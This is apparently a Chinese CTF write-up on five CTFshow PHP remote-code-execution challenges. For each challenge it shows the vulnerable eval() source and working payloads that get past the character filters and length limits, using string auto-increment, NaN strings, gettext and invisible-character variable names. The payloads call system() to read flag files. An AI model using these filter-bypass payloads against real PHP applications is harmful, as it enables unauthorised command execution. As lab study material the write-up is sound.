CTFSHOW_RCE极限挑战

本文详细解析了五个不同难度级别的PHP远程代码执行(RCE)挑战,通过构造特定payload绕过安全限制,实现命令执行。涉及不可见字符使用、字符串自增、函数特性等技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  • 不可见字符替代参数来减少字符数量
  • gettext()扩展的使用,来得到字符串
  • php代码执行特性
  • 自增

RCE挑战1

  • 闭合
<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

payload:

code=?><?=`ls`;

官方payload:

code=echo `$_POST[1]`;&1=cat /f*

RCE挑战2

  • 自增
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这里想到知道p佬的payload,但是由于这里为php7,assert已经变成一个跟eval类似的语言结构了,所以assert已经不能当做函数使用了。

但是由于这里没有限制字符串长度,且php的函数是对字母大小写不敏感的,所以可以使用字符串自增的方式构造SYSTEM和_POST字符串

<?php
$_=[].[];
$_=$_['!'=='$']; // $_=$_[0];
$__=$_; //A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___=$__; // S
$_____=$__;
$_____++;$_____++;$_____++;$_____++;$_____++;$_____++; //Y
$___.=$_____;
$___.=$__;//T
$__++;
$___.=$__;
$_++;$_++;$_++;$_++;//E
$___.=$_;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//M
$___.=$_;//SYSTEM
$____='_';
$_=[].[];
$_=$_['!'=='$']; // $_=$_[0];
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_['1']); // SYSTEM($_POST[_]);

最终得到

$_=[].[];$_=$_['!'=='$'];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___=$__;$_____=$__;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$___.=$_____;$___.=$__;$__++;$___.=$__;$_++;$_++;$_++;$_++;$___.=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___.=$_;$____='_';$_=[].[];$_=$_['!'=='$'];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

在传参时要将+进行url编码,否则在传参时+会被解码为空格

payload:

ctf_show=$_=[].[];$_=$_['!'=='$'];$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$___=$__;$_____=$__;$_____%2B%2B;$_____%2B%2B;$_____%2B%2B;$_____%2B%2B;$_____%2B%2B;$_____%2B%2B;$___.=$_____;$___.=$__;$__%2B%2B;$___.=$__;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$___.=$_;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$___.=$_;$____='_';$_=[].[];$_=$_['!'=='$'];$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$_=$$____;$___($_[_]);&_=tac /*

官方wp里是构造$_POST($_POST)

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST

$$_[__]($$_[_]);//$_POST[__]($_POST[_]);

RCE挑战3

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

思路是自增凑POST,因为POST这四个字母ascii码相差的比较小

然后使用_/_._来构造NaN,即非数字,如果引号’或者字母没有被禁用,可以使用''/''.''或者'!'/'!'.''C/C.C等方式来构造出NaN

这个.是连接符,用来将float(NaN)转换成字符串

$_1=_/_;
var_dump($_1);
//float(NAN)

因为下划线_在php里不是关键字,所以在直接这样使用时会报warn,但是php会将其自动转为字符。字母也是一样的

eg:

$a=C;
var_dump($a);
//string(1) "C"
$_1=_;
var_dump($_1);
//string(1) "_"

exp

<?php
$_1=_/_._;//NaN
$_=$_1[0]; //N
$__=++$_;//O
$__=++$_.$__;
$_++;$_++;$__.=++$_.++$_;//S
$__=_.$__;
$_=$$__;
$_[0]($_[1]);
$_1=_/_._;$_=$_1[0];$__=++$_;$__=++$_.$__;$_++;$_++;$__.=++$_.++$_;$__=_.$__;$_=$$__;$_[0]($_[1]); //99个字符

最终payload:

要将+号url编码

ctf_show=$_1=_/_._;$_=$_1[0];$__=%2b%2b$_;$__=%2b%2b$_.$__;$_%2b%2b;$_%2b%2b;$__.=%2b%2b$_.%2b%2b$_;$__=_.$__;$_=$$__;$_[0]($_[1]);&0=system&1=tac /f*

官方wp:

可以用数字0或者1,那么就可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了

<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);

然后用不可见字符来替代变量名,这个太骚了。

ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

RCE挑战4

用不可见字符替代变量名来缩短字符数量

还是构造$_POST($_POST)

然后这里是去掉了$_=$$__;的过程,直接使用$$_[0]($$_[1])

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

exp

<?php
error_reporting(0);
$a=(_/_._)[0];echo $_1,PHP_EOL;//N
$_=++$a; //O
$_=++$a.$_; echo $_,PHP_EOL;//PO
$a++;//Q
$a++;//R
$_.=++$a.++$_1;echo $_,PHP_EOL;//POST
$_=_.$_;
$$_[0]($$_[_]);

然后把a替换为不可见字符,将+号url编码

payload:

ctf_show=$%ff=(_/_._)[0];$_=%2b%2b$%ff;$_=%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$_=_.$_;$$_[0]($$_[_]);&0=system&_=tac /f*

官方wp:

exp

<?php
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);

payload:

ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

RCE挑战5

源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

官方wp:

这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。


所以按照这个思路来可以得到exp

<?php
$a=_(a/a)[a];//N
$_=++$a; //O
$_=_.++$a.$_;//PO
$a++;//Q
$a++;//R
$_.=++$a.++$a;//POST
$$_[a]($$_[_]);

然后将a替换为不可见字字符

payload:

ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=tac /f*

这里是73字符

不用gettext

73长

exp

<?php
$a=(a/a.a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_.=_.$_++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_]

还有其他师傅更短的做法,学习一下

72长

<?php
$a=_(a/a)[a];//N
$a++; //O
$_=$a.$a++; //PO
$a++;
$a++;
$_=_.$_.++$a.++$a;
$$_[a]($$_[_]);

官方wp:

$_=$a.$a++;//PO这一步是点睛之笔

至于为什么这一步得到的是PO而不是OP,或者OO,而$_=_.$a.$a++;得到的是_OO,经过和用这种做法的师傅们讨论,目前分析下来最有可能的原因是,PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO这里相当于先执行了$a++操作(函数),并得到$a++的返回值,然后和左侧的$a变量进行拼接,此时$a已经是P了。而$_=_.$a.$a++;时先执行了_$a的拼接,而后再执行$_='_O'.$a++,所以得到的是_OO。*以上所有均为猜测,具体机制需研究PHP源码。

然后是Article_kelp师傅的几个极限payload
71长:

exp

<?php
$_=(a/a.a)[_];
$b=++$_;
$b=_.++$_.$b[$_++/$_++].++$_.++$_;
$$b[d]($$b[c]);

payload:

%91=system&%92=cat /f*&ctf_show=$_=(%99/%99.%99)[_];$%81=%2b%2b$_;$%81=_.%2b%2b$_.$%81[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_;$$%81[%91]($$%81[%92]);

70长:

exp

<?php
$_=_(c/c)[_];
$a=++$_;
$a=_.++$_.$a[$_++/$_++].++$_.++$_;
$$a[d]($$a[b]);

payload

%91=system&%92=whoami&ctf_show=$_=_(%99/%99)[_];$%81=%2b%2b$_;$%81=_.%2b%2b$_.$%81[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_;$$%81[%91]($$%81[%92]);

68长!

exp

<?php
$_=_(a/a)[_];
$c=++$_;
$$c[$c=_.++$_.$c[$_++/$_++].++$_.++$_]($$c[d]);

payload

_POST=system&%92=whoami&ctf_show=$_=_(%99/%99)[_];$%81=%2b%2b$_;$$%81[$%81=_.%2b%2b$_.$%81[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%81[%92]);

他这里是利用了php运算符优先级,从左往右,自增的优先级要高于[ ]

所以执行顺序是

  • _.++$_的到’_P’ ,此时$_为’P’

  • $c[$_++/$_++]得到字符’O’ ,此后$_为’R’

  • ++$_.++$_得到’ST’

最终连接为’_POST’

运算符优先级,从上往下递减

结合方向运算符附加信息
不适用clone newclonenew
**算术运算符
不适用+ - ++ -- ~ (int) (float) (string) (array) (object) (bool) @算术 (一元 +-), 递增/递减按位类型转换错误控制
instanceof类型
不适用!逻辑运算符
* / %算术运算符
+ - .算数 (二元 +-), arraystring. PHP 8.0.0 前可用)
<< >>位运算符
.string (PHP 8.0.0 起可用)
< <= > >=比较运算符
== != === !== <> <=>比较运算符
&位运算符引用
^位运算符
``
&&逻辑运算符
`
??null 合并运算符
无关联? :三元运算符 (PHP 8.0.0 之前左联)
= += -= *= **= /= .= %= &= `= ^=` `<<=` `>>=` `??=`
不适用yield fromyield from
不适用yieldyield
不适用printprint
and逻辑运算符
xor逻辑运算符
or逻辑运算符

QQ图片20221120231158

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值